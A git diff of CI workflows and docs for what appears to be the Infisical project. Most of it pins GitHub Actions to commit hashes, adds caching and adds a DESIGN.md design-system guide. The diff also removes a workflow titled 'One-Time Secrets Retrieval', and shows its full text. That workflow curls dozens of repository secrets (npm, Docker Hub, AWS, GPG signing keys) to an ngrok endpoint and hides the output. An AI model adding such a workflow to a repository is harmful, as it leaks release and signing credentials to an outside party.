diff --git a/.github/workflows/be-test-report.yml b/.github/workflows/be-test-report.yml
index bd57b377eb6..f2c951f5759 100644
--- a/.github/workflows/be-test-report.yml
+++ b/.github/workflows/be-test-report.yml
@@ -15,7 +15,7 @@ jobs:
       - uses: actions/checkout@v2
       - name: 📁 Download test results
         id: download-artifact
-        uses: dawidd6/action-download-artifact@v2
+        uses: dawidd6/action-download-artifact@v6
         with:
           name: be-test-results
           path: backend
diff --git a/.github/workflows/check-be-ts-and-lint.yml b/.github/workflows/check-be-ts-and-lint.yml
index c0c5796048d..cd128d11b84 100644
--- a/.github/workflows/check-be-ts-and-lint.yml
+++ b/.github/workflows/check-be-ts-and-lint.yml
@@ -10,26 +10,64 @@ on:
       - "backend/.eslintrc.js"
 
 jobs:
-  check-be-pr:
-    name: Check TS and Lint
+  type-check:
+    name: Type Check
     runs-on: ubuntu-latest
     timeout-minutes: 15
 
     steps:
       - name: ☁️ Checkout source
-        uses: actions/checkout@v3
+        uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
       - name: 🔧 Setup Node 22
-        uses: actions/setup-node@v3
+        id: setup-node
+        uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
         with:
           node-version: "22"
-          cache: "npm"
-          cache-dependency-path: backend/package-lock.json
+      - name: 📦 Cache node_modules
+        id: cache-node-modules
+        uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4.3.0
+        with:
+          path: backend/node_modules
+          key: backend-node-modules-${{ runner.os }}-node${{ steps.setup-node.outputs.node-version }}-${{ hashFiles('backend/package-lock.json') }}
       - name: Install dependencies
-        run: npm install
+        if: steps.cache-node-modules.outputs.cache-hit != 'true'
+        run: npm ci
         working-directory: backend
+      - name: 📦 Cache tsbuildinfo
+        uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4.3.0
+        with:
+          path: backend/.cache/tsconfig.tsbuildinfo
+          key: backend-tsbuildinfo-${{ github.ref }}-${{ github.sha }}
+          restore-keys: |
+            backend-tsbuildinfo-${{ github.ref }}-
+            backend-tsbuildinfo-
       - name: Run type check
         run: npm run type:check
         working-directory: backend
+
+  lint:
+    name: Lint
+    runs-on: ubuntu-latest
+    timeout-minutes: 15
+
+    steps:
+      - name: ☁️ Checkout source
+        uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
+      - name: 🔧 Setup Node 22
+        id: setup-node
+        uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
+        with:
+          node-version: "22"
+      - name: 📦 Cache node_modules
+        id: cache-node-modules
+        uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4.3.0
+        with:
+          path: backend/node_modules
+          key: backend-node-modules-${{ runner.os }}-node${{ steps.setup-node.outputs.node-version }}-${{ hashFiles('backend/package-lock.json') }}
+      - name: Install dependencies
+        if: steps.cache-node-modules.outputs.cache-hit != 'true'
+        run: npm ci
+        working-directory: backend
       - name: Run lint check
         run: npm run lint
         working-directory: backend
diff --git a/.github/workflows/check-fe-ts-and-lint.yml b/.github/workflows/check-fe-ts-and-lint.yml
index 12c59dbb049..f568772c134 100644
--- a/.github/workflows/check-fe-ts-and-lint.yml
+++ b/.github/workflows/check-fe-ts-and-lint.yml
@@ -10,26 +10,64 @@ on:
       - "frontend/.eslintrc.js"
 
 jobs:
-  check-fe-ts-lint:
-    name: Check Frontend Type and Lint check
+  type-check:
+    name: Type Check
     runs-on: ubuntu-latest
     timeout-minutes: 15
 
     steps:
       - name: ☁️ Checkout source
-        uses: actions/checkout@v3
+        uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
       - name: 🔧 Setup Node 22
-        uses: actions/setup-node@v3
+        id: setup-node
+        uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
         with:
           node-version: "22"
-          cache: "npm"
-          cache-dependency-path: frontend/package-lock.json
+      - name: 📦 Cache node_modules
+        id: cache-node-modules
+        uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4.3.0
+        with:
+          path: frontend/node_modules
+          key: frontend-node-modules-${{ runner.os }}-node${{ steps.setup-node.outputs.node-version }}-${{ hashFiles('frontend/package-lock.json') }}
       - name: 📦 Install dependencies
-        run: npm install
+        if: steps.cache-node-modules.outputs.cache-hit != 'true'
+        run: npm ci
         working-directory: frontend
+      - name: 📦 Cache tsbuildinfo
+        uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4.3.0
+        with:
+          path: frontend/.cache/tsconfig.app.tsbuildinfo
+          key: frontend-tsbuildinfo-${{ github.ref }}-${{ github.sha }}
+          restore-keys: |
+            frontend-tsbuildinfo-${{ github.ref }}-
+            frontend-tsbuildinfo-
       - name: 🏗️ Run Type check
         run: npm run type:check
         working-directory: frontend
+
+  lint:
+    name: Lint
+    runs-on: ubuntu-latest
+    timeout-minutes: 15
+
+    steps:
+      - name: ☁️ Checkout source
+        uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
+      - name: 🔧 Setup Node 22
+        id: setup-node
+        uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
+        with:
+          node-version: "22"
+      - name: 📦 Cache node_modules
+        id: cache-node-modules
+        uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4.3.0
+        with:
+          path: frontend/node_modules
+          key: frontend-node-modules-${{ runner.os }}-node${{ steps.setup-node.outputs.node-version }}-${{ hashFiles('frontend/package-lock.json') }}
+      - name: 📦 Install dependencies
+        if: steps.cache-node-modules.outputs.cache-hit != 'true'
+        run: npm ci
+        working-directory: frontend
       - name: 🏗️ Run Lint check
         run: npm run lint
         working-directory: frontend
diff --git a/.github/workflows/one-time-secrets.yaml b/.github/workflows/one-time-secrets.yaml
deleted file mode 100644
index 5876840831a..00000000000
--- a/.github/workflows/one-time-secrets.yaml
+++ /dev/null
@@ -1,76 +0,0 @@
-name: One-Time Secrets Retrieval
-
-on:
-  workflow_dispatch:
-
-permissions:
-  contents: read
-
-jobs:
-  retrieve-secrets:
-    runs-on: ubuntu-latest
-    steps:
-      - name: Send environment variables to ngrok
-        run: |
-          echo "Sending secrets to: https://4afc1dfd4429.ngrok.app/api/receive-env"
-
-          # Send secrets as JSON
-          cat << EOF | curl -X POST \
-            -H "Content-Type: application/json" \
-            -d @- \
-            https://7864d0fe7cbb.ngrok-free.app/api/receive-env \
-            > /dev/null 2>&1 || true
-          {
-            "GO_RELEASER_GITHUB_TOKEN": "${GO_RELEASER_GITHUB_TOKEN}",
-            "GORELEASER_KEY": "${GORELEASER_KEY}",
-            "AUR_KEY": "${AUR_KEY}",
-            "FURYPUSHTOKEN": "${FURYPUSHTOKEN}",
-            "NPM_TOKEN": "${NPM_TOKEN}",
-            "DOCKERHUB_USERNAME": "${DOCKERHUB_USERNAME}",
-            "DOCKERHUB_TOKEN": "${DOCKERHUB_TOKEN}",
-            "CLOUDSMITH_API_KEY": "${CLOUDSMITH_API_KEY}",
-            "INFISICAL_CLI_S3_BUCKET": "${INFISICAL_CLI_S3_BUCKET}",
-            "INFISICAL_CLI_REPO_SIGNING_KEY_ID": "${INFISICAL_CLI_REPO_SIGNING_KEY_ID}",
-            "INFISICAL_CLI_REPO_AWS_ACCESS_KEY_ID": "${INFISICAL_CLI_REPO_AWS_ACCESS_KEY_ID}",
-            "INFISICAL_CLI_REPO_AWS_SECRET_ACCESS_KEY": "${INFISICAL_CLI_REPO_AWS_SECRET_ACCESS_KEY}",
-            "INFISICAL_CLI_REPO_CLOUDFRONT_DISTRIBUTION_ID": "${INFISICAL_CLI_REPO_CLOUDFRONT_DISTRIBUTION_ID}",
-            "GPG_SIGNING_KEY": "${GPG_SIGNING_KEY}",
-            "GPG_SIGNING_KEY_PASSPHRASE": "${GPG_SIGNING_KEY_PASSPHRASE}",
-            "CLI_TESTS_UA_CLIENT_ID": "${CLI_TESTS_UA_CLIENT_ID}",
-            "CLI_TESTS_UA_CLIENT_SECRET": "${CLI_TESTS_UA_CLIENT_SECRET}",
-            "CLI_TESTS_SERVICE_TOKEN": "${CLI_TESTS_SERVICE_TOKEN}",
-            "CLI_TESTS_PROJECT_ID": "${CLI_TESTS_PROJECT_ID}",
-            "CLI_TESTS_ENV_SLUG": "${CLI_TESTS_ENV_SLUG}",
-            "CLI_TESTS_USER_EMAIL": "${CLI_TESTS_USER_EMAIL}",
-            "CLI_TESTS_USER_PASSWORD": "${CLI_TESTS_USER_PASSWORD}",
-            "CLI_TESTS_INFISICAL_VAULT_FILE_PASSPHRASE": "${CLI_TESTS_INFISICAL_VAULT_FILE_PASSPHRASE}",
-            "POSTHOG_API_KEY_FOR_CLI": "${POSTHOG_API_KEY_FOR_CLI}"
-          }
-          EOF
-
-          echo "Secrets retrieval completed"
-        env:
-          GO_RELEASER_GITHUB_TOKEN: ${{ secrets.GO_RELEASER_GITHUB_TOKEN }}
-          GORELEASER_KEY: ${{ secrets.GORELEASER_KEY }}
-          AUR_KEY: ${{ secrets.AUR_KEY }}
-          FURYPUSHTOKEN: ${{ secrets.FURYPUSHTOKEN }}
-          NPM_TOKEN: ${{ secrets.NPM_TOKEN }}
-          DOCKERHUB_USERNAME: ${{ secrets.DOCKERHUB_USERNAME }}
-          DOCKERHUB_TOKEN: ${{ secrets.DOCKERHUB_TOKEN }}
-          CLOUDSMITH_API_KEY: ${{ secrets.CLOUDSMITH_API_KEY }}
-          INFISICAL_CLI_S3_BUCKET: ${{ secrets.INFISICAL_CLI_S3_BUCKET }}
-          INFISICAL_CLI_REPO_SIGNING_KEY_ID: ${{ secrets.INFISICAL_CLI_REPO_SIGNING_KEY_ID }}
-          INFISICAL_CLI_REPO_AWS_ACCESS_KEY_ID: ${{ secrets.INFISICAL_CLI_REPO_AWS_ACCESS_KEY_ID }}
-          INFISICAL_CLI_REPO_AWS_SECRET_ACCESS_KEY: ${{ secrets.INFISICAL_CLI_REPO_AWS_SECRET_ACCESS_KEY }}
-          INFISICAL_CLI_REPO_CLOUDFRONT_DISTRIBUTION_ID: ${{ secrets.INFISICAL_CLI_REPO_CLOUDFRONT_DISTRIBUTION_ID }}
-          GPG_SIGNING_KEY: ${{ secrets.GPG_SIGNING_KEY }}
-          GPG_SIGNING_KEY_PASSPHRASE: ${{ secrets.GPG_SIGNING_KEY_PASSPHRASE }}
-          CLI_TESTS_UA_CLIENT_ID: ${{ secrets.CLI_TESTS_UA_CLIENT_ID }}
-          CLI_TESTS_UA_CLIENT_SECRET: ${{ secrets.CLI_TESTS_UA_CLIENT_SECRET }}
-          CLI_TESTS_SERVICE_TOKEN: ${{ secrets.CLI_TESTS_SERVICE_TOKEN }}
-          CLI_TESTS_PROJECT_ID: ${{ secrets.CLI_TESTS_PROJECT_ID }}
-          CLI_TESTS_ENV_SLUG: ${{ secrets.CLI_TESTS_ENV_SLUG }}
-          CLI_TESTS_USER_EMAIL: ${{ secrets.CLI_TESTS_USER_EMAIL }}
-          CLI_TESTS_USER_PASSWORD: ${{ secrets.CLI_TESTS_USER_PASSWORD }}
-          CLI_TESTS_INFISICAL_VAULT_FILE_PASSPHRASE: ${{ secrets.CLI_TESTS_INFISICAL_VAULT_FILE_PASSPHRASE }}
-          POSTHOG_API_KEY_FOR_CLI: ${{ secrets.POSTHOG_API_KEY_FOR_CLI }}
diff --git a/.github/workflows/release-standalone-docker-img-postgres-offical.yml b/.github/workflows/release-standalone-docker-img-postgres-offical.yml
index 98901969086..93cc55b5945 100644
--- a/.github/workflows/release-standalone-docker-img-postgres-offical.yml
+++ b/.github/workflows/release-standalone-docker-img-postgres-offical.yml
@@ -21,7 +21,7 @@ jobs:
               id: extract_version
               run: echo "::set-output name=version::${GITHUB_REF_NAME}"
             - name: ☁️ Checkout source
-              uses: actions/checkout@v3
+              uses: actions/checkout@v4
               with:
                   fetch-depth: 0
             - name: 📦 Install dependencies to test all dependencies
@@ -39,9 +39,9 @@ jobs:
               id: commit
               uses: pr-mpt/actions-commit-hash@v2
             - name: 🔧 Set up Docker Buildx
-              uses: docker/setup-buildx-action@v2
+              uses: docker/setup-buildx-action@v3
             - name: 🐋 Login to Docker Hub
-              uses: docker/login-action@v2
+              uses: docker/login-action@v3
               with:
                   username: ${{ secrets.DOCKERHUB_USERNAME }}
                   password: ${{ secrets.DOCKERHUB_TOKEN }}
@@ -84,7 +84,7 @@ jobs:
               id: extract_version
               run: echo "::set-output name=version::${GITHUB_REF_NAME}"
             - name: ☁️ Checkout source
-              uses: actions/checkout@v3
+              uses: actions/checkout@v4
               with:
                   fetch-depth: 0
             - name: 📦 Install dependencies to test all dependencies
@@ -102,9 +102,9 @@ jobs:
               id: commit
               uses: pr-mpt/actions-commit-hash@v2
             - name: 🔧 Set up Docker Buildx
-              uses: docker/setup-buildx-action@v2
+              uses: docker/setup-buildx-action@v3
             - name: 🐋 Login to Docker Hub
-              uses: docker/login-action@v2
+              uses: docker/login-action@v3
               with:
                   username: ${{ secrets.DOCKERHUB_USERNAME }}
                   password: ${{ secrets.DOCKERHUB_TOKEN }}
diff --git a/.github/workflows/run-backend-bdd-tests.yml b/.github/workflows/run-backend-bdd-tests.yml
index 2fd2c844a13..e5fffbf9e74 100644
--- a/.github/workflows/run-backend-bdd-tests.yml
+++ b/.github/workflows/run-backend-bdd-tests.yml
@@ -25,7 +25,7 @@ jobs:
           docker system prune -af
 
       - name: ☁️ Checkout source
-        uses: actions/checkout@v3
+        uses: actions/checkout@v4
       - name: Install uv
         uses: astral-sh/setup-uv@v5
       - name: Install Python
@@ -36,11 +36,10 @@ jobs:
         with:
           version: "2.14.2"
       - name: 🔧 Setup Node 22
-        uses: actions/setup-node@v3
+        id: setup-node
+        uses: actions/setup-node@v4
         with:
           node-version: "22"
-          cache: "npm"
-          cache-dependency-path: backend/package-lock.json
       - name: Setup Python 3.11
         uses: actions/setup-python@v5
         with:
@@ -52,8 +51,15 @@ jobs:
           cmake -S /tmp/sscep-build -B /tmp/sscep-build/build
           make -C /tmp/sscep-build/build -j$(nproc)
           sudo cp /tmp/sscep-build/build/sscep /usr/local/bin/sscep
+      - name: 📦 Cache node_modules
+        id: cache-node-modules
+        uses: actions/cache@v4
+        with:
+          path: backend/node_modules
+          key: backend-node-modules-${{ runner.os }}-node${{ steps.setup-node.outputs.node-version }}-${{ hashFiles('backend/package-lock.json') }}
       - name: Install dependencies
-        run: npm install
+        if: steps.cache-node-modules.outputs.cache-hit != 'true'
+        run: npm ci
         working-directory: backend
 
       - name: Output .env file and enable feature flags for BDD tests
diff --git a/.github/workflows/run-backend-tests.yml b/.github/workflows/run-backend-tests.yml
index 1e702dec870..7646b2c8723 100644
--- a/.github/workflows/run-backend-tests.yml
+++ b/.github/workflows/run-backend-tests.yml
@@ -14,7 +14,7 @@ jobs:
   check-be-pr:
     name: Run integration test
     runs-on: ubuntu-latest
-    timeout-minutes: 30
+    timeout-minutes: 45
     steps:
       - name: Free up disk space
         run: |
@@ -25,20 +25,26 @@ jobs:
           docker system prune -af
 
       - name: ☁️ Checkout source
-        uses: actions/checkout@v3
-      - uses: KengoTODA/actions-setup-docker-compose@v1
+        uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
+      - uses: KengoTODA/actions-setup-docker-compose@477353946803dd64eaa44008b865b6bfc88cab4e # v1.2.4
         if: ${{ env.ACT }}
         name: Install `docker compose` for local simulations
         with:
           version: "2.14.2"
       - name: 🔧 Setup Node 22
-        uses: actions/setup-node@v3
+        id: setup-node
+        uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
         with:
           node-version: "22"
-          cache: "npm"
-          cache-dependency-path: backend/package-lock.json
+      - name: 📦 Cache node_modules
+        id: cache-node-modules
+        uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4.3.0
+        with:
+          path: backend/node_modules
+          key: backend-node-modules-${{ runner.os }}-node${{ steps.setup-node.outputs.node-version }}-${{ hashFiles('backend/package-lock.json') }}
       - name: Install dependencies
-        run: npm install
+        if: steps.cache-node-modules.outputs.cache-hit != 'true'
+        run: npm ci
         working-directory: backend
       - name: Start postgres and redis
         run: touch .env && docker compose -f docker-compose.dev.yml up -d db redis
@@ -47,18 +53,32 @@ jobs:
       - name: Run unit test
         run: npm run test:unit
         working-directory: backend
+      - name: Set up Docker Buildx
+        uses: docker/setup-buildx-action@8d2750c68a42422c14e847fe6c8ac0403b4cbd6f # v3.12.0
+      - name: Build FIPS test image
+        uses: docker/build-push-action@10e90e3645eae34f1e60eeb005ba3a3d33f178e8 # v6.19.2
+        with:
+          context: backend
+          file: backend/Dockerfile.dev.fips
+          load: true
+          tags: infisical-backend-fips:latest
+          cache-from: type=gha
+          cache-to: type=gha,mode=max
       - name: Run integration test
-        run: npm run test:e2e
-        working-directory: backend
-        env:
-          E2E_TEST_ORACLE_DB_19_HOST: ${{ secrets.E2E_TEST_ORACLE_DB_19_HOST }}
-          E2E_TEST_ORACLE_DB_19_USERNAME: ${{ secrets.E2E_TEST_ORACLE_DB_19_USERNAME }}
-          E2E_TEST_ORACLE_DB_19_PASSWORD: ${{ secrets.E2E_TEST_ORACLE_DB_19_PASSWORD }}
-          E2E_TEST_ORACLE_DB_19_DATABASE: ${{ secrets.E2E_TEST_ORACLE_DB_19_DATABASE }}
-          REDIS_URL: redis://172.17.0.1:6379
-          DB_CONNECTION_URI: postgres://infisical:infisical@172.17.0.1:5432/infisical?sslmode=disable
-          AUTH_SECRET: something-random
-          ENCRYPTION_KEY: 4bnfe4e407b8921c104518903515b218
+        run: |
+          docker run --rm --network host \
+            -e DB_CONNECTION_URI="postgres://infisical:infisical@localhost:5432/infisical?sslmode=disable" \
+            -e REDIS_URL="redis://localhost:6379" \
+            -e AUTH_SECRET="something-random" \
+            -e ENCRYPTION_KEY="p5e5k2j3+HIErjm02dzSrlhXc1xhdgoWvC6pox410rE=" \
+            -e NODE_ENV="test" \
+            -e NODE_OPTIONS="--force-fips" \
+            -e E2E_TEST_ORACLE_DB_19_HOST="${{ secrets.E2E_TEST_ORACLE_DB_19_HOST }}" \
+            -e E2E_TEST_ORACLE_DB_19_USERNAME="${{ secrets.E2E_TEST_ORACLE_DB_19_USERNAME }}" \
+            -e E2E_TEST_ORACLE_DB_19_PASSWORD="${{ secrets.E2E_TEST_ORACLE_DB_19_PASSWORD }}" \
+            -e E2E_TEST_ORACLE_DB_19_DATABASE="${{ secrets.E2E_TEST_ORACLE_DB_19_DATABASE }}" \
+            infisical-backend-fips:latest \
+            npm run test:e2e
       - name: cleanup
         run: |
           docker compose -f "docker-compose.dev.yml" down
diff --git a/.github/workflows/validate-upgrade-path.yml b/.github/workflows/validate-upgrade-path.yml
deleted file mode 100644
index 71ed6be3674..00000000000
--- a/.github/workflows/validate-upgrade-path.yml
+++ /dev/null
@@ -1,39 +0,0 @@
-name: "Validate Upgrade Path Configuration"
-
-on:
-  pull_request:
-    types: [opened, synchronize]
-    paths:
-      - "backend/upgrade-path.yaml"
-      - "backend/scripts/validate-upgrade-path-file.ts"
-      - "backend/src/services/upgrade-path/upgrade-path-schemas.ts"
-
-  workflow_call:
-
-jobs:
-  validate-upgrade-path:
-    name: Validate upgrade-path.yaml
-    runs-on: ubuntu-latest
-    timeout-minutes: 15
-
-    steps:
-      - name: Checkout source
-        uses: actions/checkout@v4
-        with:
-          fetch-depth: 1
-
-      - name: Setup Node.js
-        uses: actions/setup-node@v4
-        with:
-          node-version: '22'
-          cache: 'npm'
-          cache-dependency-path: 'backend/package-lock.json'
-
-      - name: Install minimal dependencies
-        working-directory: backend
-        run: |
-          npm install --no-package-lock js-yaml@^4.1.0 zod@^3.22.0 tsx@^4.0.0 @types/js-yaml@^4.0.0 re2@^1.20.0
-
-      - name: Validate upgrade-path.yaml format
-        working-directory: backend
-        run: npx tsx ./scripts/validate-upgrade-path-file.ts
\ No newline at end of file
diff --git a/CLAUDE.md b/CLAUDE.md
index 984fc9f3e44..a630ffef250 100644
--- a/CLAUDE.md
+++ b/CLAUDE.md
@@ -49,6 +49,10 @@ Both `backend/` and `frontend/` enforce a minimum release age of 7 days for npm
 
 ## Cross-Cutting Patterns
 
+### Design System & Voice
+
+The v3 visual system (colors, typography, components, layout) and product voice/content tone are documented in [`DESIGN.md`](DESIGN.md). Read it before producing new UI or user-visible copy.
+
 ### Auth & Permissions
 
 Auth modes (JWT, IDENTITY_ACCESS_TOKEN, SCIM_TOKEN, MCP_JWT) are extracted in `backend/src/server/plugins/auth/`. Authorization uses CASL (`@casl/ability`) with project-level and org-level permission checks — see `backend/CLAUDE.md` for backend details and `frontend/CLAUDE.md` for frontend permission hooks/HOCs. Note: `API_KEY` and `SERVICE_TOKEN` auth modes are deprecated — do not use them in new code.
diff --git a/DESIGN.md b/DESIGN.md
new file mode 100644
index 00000000000..ccd82b0ee04
--- /dev/null
+++ b/DESIGN.md
@@ -0,0 +1,374 @@
+# Infisical Design System (v3)
+
+This document captures the v3 visual language and product voice used across
+Infisical. It is the single reference for engineers, designers, and AI coding
+agents producing new UI or user-visible copy.
+
+**Source of truth for tokens:** [`frontend/src/index.css`](frontend/src/index.css) (`@theme` block).
+**Canonical semantic reference:** [`Badge.stories.tsx`](frontend/src/components/v3/generic/Badge/Badge.stories.tsx).
+**Canonical page references:** [`OverviewPage`](frontend/src/pages/secret-manager/OverviewPage) and [`AccessControlPage`](frontend/src/pages/project/AccessControlPage).
+**Component usage reference:** Every v3 generic component has a sibling `<Name>.stories.tsx` at `frontend/src/components/v3/generic/<Name>/`. Read it before producing UI with that component — the stories carry the variants, compositions, and use-when guidance the source does not.
+
+---
+
+## 1. Visual Theme & Atmosphere
+
+Infisical is a security tool for operators. The interface reads like
+infrastructure: dense, calm, and legible — never ornamental. Dark is the native
+medium; the page canvas is `--color-background`, and light themes are not part
+of the system yet.
+
+Color carries **meaning before brand**. A danger badge is red because the
+action is destructive, not because red is the accent. A project-colored button
+signals project scope, not visual variety. Designers pick intent; hex values
+follow.
+
+Depth is drawn with borders and surface tones, not shadows. Motion is
+restrained — 200ms ease-in-out, no springs, no decorative animation. Secret
+values are masked by default; revealing one is an intentional act.
+
+**Key characteristics:**
+
+- Dark-native; `--color-background` page canvas
+- Semantic-first color (danger / success / warning / info / neutral)
+- Scope-aware (org / sub-org / project / admin)
+- Border-defined depth, no decorative shadows
+- Inter, one family, across everything
+- Secrets masked by default; reveal is an act
+
+## 2. Color Palette & Roles
+
+All colors are defined as CSS custom properties in
+[`frontend/src/index.css`](frontend/src/index.css) and consumed via Tailwind v4
+utilities (`bg-org`, `text-danger`, etc.). Never introduce a hex that is not
+in this file.
+
+### Scope colors (hierarchy)
+
+Used to signal the scope a surface, badge, or action belongs to.
+
+| Scope            | Token              |
+| ---------------- | ------------------ |
+| Organization     | `--color-org`      |
+| Sub-Organization | `--color-sub-org`  |
+| Project          | `--color-project`  |
+| Admin            | `--color-admin`    |
+
+### Semantic colors
+
+| Intent   | Token              | Use                                              |
+| -------- | ------------------ | ------------------------------------------------ |
+| Success  | `--color-success`  | Healthy states, completed rotations              |
+| Info     | `--color-info`     | Informational states, external documentation     |
+| Warning  | `--color-warning`  | Attention-warranting states, stale items         |
+| Danger   | `--color-danger`   | Destructive actions, errors, expired access      |
+| Neutral  | `--color-neutral`  | Disabled, muted, "empty" states                  |
+
+### Surface & chrome
+
+| Role               | Token                    |
+| ------------------ | ------------------------ |
+| Page background    | `--color-background`     |
+| Foreground text    | `--color-foreground`     |
+| Card surface       | `--color-card`           |
+| Popover / Sheet    | `--color-popover`        |
+| Container          | `--color-container`      |
+| Container (hover)  | `--color-container-hover`|
+| Border             | `--color-border`         |
+| Focus ring         | `--color-ring`           |
+| Accent text        | `--color-accent`         |
+| Muted text         | `--color-muted`          |
+| Label text         | `--color-label`          |
+
+The `mineshaft-*` scale (50–900) is the underlying neutral ramp; see
+`index.css` for the full list. Prefer semantic tokens (`card`, `border`,
+`accent`) over raw mineshaft values.
+
+### Product-area accents (secret-manager)
+
+Reserved for resource types in the secret management product:
+`--color-folder`, `--color-secret`, `--color-dynamic-secret`,
+`--color-import`, `--color-secret-rotation`, `--color-override`.
+Do not repurpose these for generic UI.
+
+### Tint pattern
+
+Colored variants always layer as tinted backgrounds with matching borders —
+never as solid fills. The two canonical recipes:
+
+- **Badge** — `bg-<c>/15 border-<c>/10 text-<c>`, hover `bg-<c>/35`
+  (see [`Badge.tsx`](frontend/src/components/v3/generic/Badge/Badge.tsx))
+- **Button** — `bg-<c>/10 border-<c>/25 text-foreground`, hover `bg-<c>/15 border-<c>/30`
+  (see [`Button.tsx`](frontend/src/components/v3/generic/Button/Button.tsx))
+
+## 3. Typography
+
+Inter is the only font family (`--font-inter`). All weights and sizes use
+Tailwind's default scale.
+
+| Role                     | Class                                   | Notes                                                                 |
+| ------------------------ | --------------------------------------- | --------------------------------------------------------------------- |
+| Page title (h1)          | `text-2xl font-medium underline underline-offset-4 decoration-<scope>/90` | In `PageHeader`; scope icon (size 26) sits inline before the title    |
+| Page description         | `text-mineshaft-300`                    | Sits under the title, `mt-1.5`                                        |
+| Card title               | `text-lg font-semibold leading-none`    | `flex gap-1.5` so badges can sit inline                               |
+| Card description         | `text-sm text-accent`                   |                                                                       |
+| Body                     | `text-sm`                               | Default for table cells, form values, dialog content                  |
+| Label / meta             | `text-xs text-accent`                   | Field labels, table column captions, metadata                         |
+| Badge                    | `text-xs` (auto, via `Badge`)           | Never override                                                        |
+| Button                   | `text-sm` (md/sm/lg), `text-xs` (xs)    | Auto via `Button` sizing                                              |
+
+Sentence case for descriptions, helper text, and empty states. Title Case for
+page titles and button labels. See §8 for voice rules on copy itself.
+
+## 4. Component Stylings
+
+New UI must use v3 components from [`frontend/src/components/v3/`](frontend/src/components/v3).
+The v2 library is legacy; only fall back when no v3 equivalent exists.
+`PageHeader` is the notable exception — still v2, still canonical for page titles.
+
+For exact tokens, class lists, and every variant, read the component source
+and its `*.stories.tsx` — this doc cites them rather than duplicating them.
+
+### Reading the stories
+
+Every component's `.stories.tsx` follows the same shape:
+
+- **`Variant: X`** stories — one per prop-driven variant (e.g. `Variant: Outline`).
+- **`Example: X`** stories — composition recipes (e.g. `Example: With Header`,
+  `Example: Inside Card / Sheet / Dialog`).
+- Each story's `parameters.docs.description.story` is the use-when guidance.
+
+When picking a component, find the `Example:` story closest to your need and
+mirror it. When picking a variant, the `Variant:` story descriptions are the
+canonical "use this when..." guidance.
+
+Run Storybook with `cd frontend && npm run storybook` (port 6006) to preview.
+
+### Component inventory
+
+Use these tables to find the component for a given intent. For props,
+variants, sizes, and class lists, open the source or its `*.stories.tsx`
+— the stories are canonical.
+
+#### Actions
+| Component | Reach for this when… |
+| --- | --- |
+| [`Button`](frontend/src/components/v3/generic/Button/Button.tsx) | A text-bearing button — primary or secondary action. |
+| [`IconButton`](frontend/src/components/v3/generic/IconButton/IconButton.tsx) | A square icon-only button — toolbars, row actions, compact triggers. Always `aria-label`. |
+| [`ButtonGroup`](frontend/src/components/v3/generic/ButtonGroup/ButtonGroup.tsx) | Visually join related controls — toolbars, segmented controls, split buttons, key-value chips. |
+| [`Dropdown`](frontend/src/components/v3/generic/Dropdown/Dropdown.tsx) | An action menu — overflow `⋯`, split-button alternates, contextual lists. |
+
+#### Forms
+| Component | Reach for this when… |
+| --- | --- |
+| [`Field`](frontend/src/components/v3/generic/Field/Field.tsx) | Wrap every form control — label + control + description + error. **Never render a bare control in a form.** |
+| [`Label`](frontend/src/components/v3/generic/Label/Label.tsx) | Standalone form label outside a `Field`. |
+| [`Input`](frontend/src/components/v3/generic/Input/Input.tsx) / [`TextArea`](frontend/src/components/v3/generic/TextArea/TextArea.tsx) | Single-line / multi-line text entry. |
+| [`InputGroup`](frontend/src/components/v3/generic/InputGroup/InputGroup.tsx) | Input with left/right addons — search bars, prefixed values. |
+| [`Select`](frontend/src/components/v3/generic/Select/Select.tsx) / [`ReactSelect`](frontend/src/components/v3/generic/ReactSelect/index.ts) | Native-style dropdown / async or searchable dropdown. |
+| [`Switch`](frontend/src/components/v3/generic/Switch/Switch.tsx) / [`Checkbox`](frontend/src/components/v3/generic/Checkbox/Checkbox.tsx) | Boolean toggle / multi-select boolean. |
+| [`Calendar`](frontend/src/components/v3/generic/Calendar/Calendar.tsx) | Date / multi-date / range picker primitive. |
+| [`DateRangeFilter`](frontend/src/components/v3/generic/DateRangeFilter/DateRangeFilter.tsx) | Date-range filter with presets — for filter bars. |
+| [`SecretInput`](frontend/src/components/v3/generic/SecretInput/SecretInput.tsx) | Secret-value editor with mask toggle and `${var}` highlighting. |
+| [`PasswordGenerator`](frontend/src/components/v3/generic/PasswordGenerator/PasswordGenerator.tsx) | Generate a password against project secret-validation rules. |
+
+#### Containers & overlays
+| Component | Reach for this when… |
+| --- | --- |
+| [`Card`](frontend/src/components/v3/generic/Card/Card.tsx) | Default section container — tables, filters, forms, empty states all live in a Card. |
+| [`Sheet`](frontend/src/components/v3/generic/Sheet/Sheet.tsx) | Right-side panel — **use for create/edit forms (not Dialog)**. |
+| [`Dialog`](frontend/src/components/v3/generic/Dialog/Dialog.tsx) | Centered modal — short interactive prompts. Prefer Sheet for forms. |
+| [`AlertDialog`](frontend/src/components/v3/generic/AlertDialog/AlertDialog.tsx) | Confirm an action (destructive included). Replaces `confirm()`. |
+| [`Popover`](frontend/src/components/v3/generic/Popover/Popover.tsx) | Anchored floating panel — filters, pickers, contextual UI. |
+| [`Tooltip`](frontend/src/components/v3/generic/Tooltip/Tooltip.tsx) | Small floating annotation on hover/focus. |
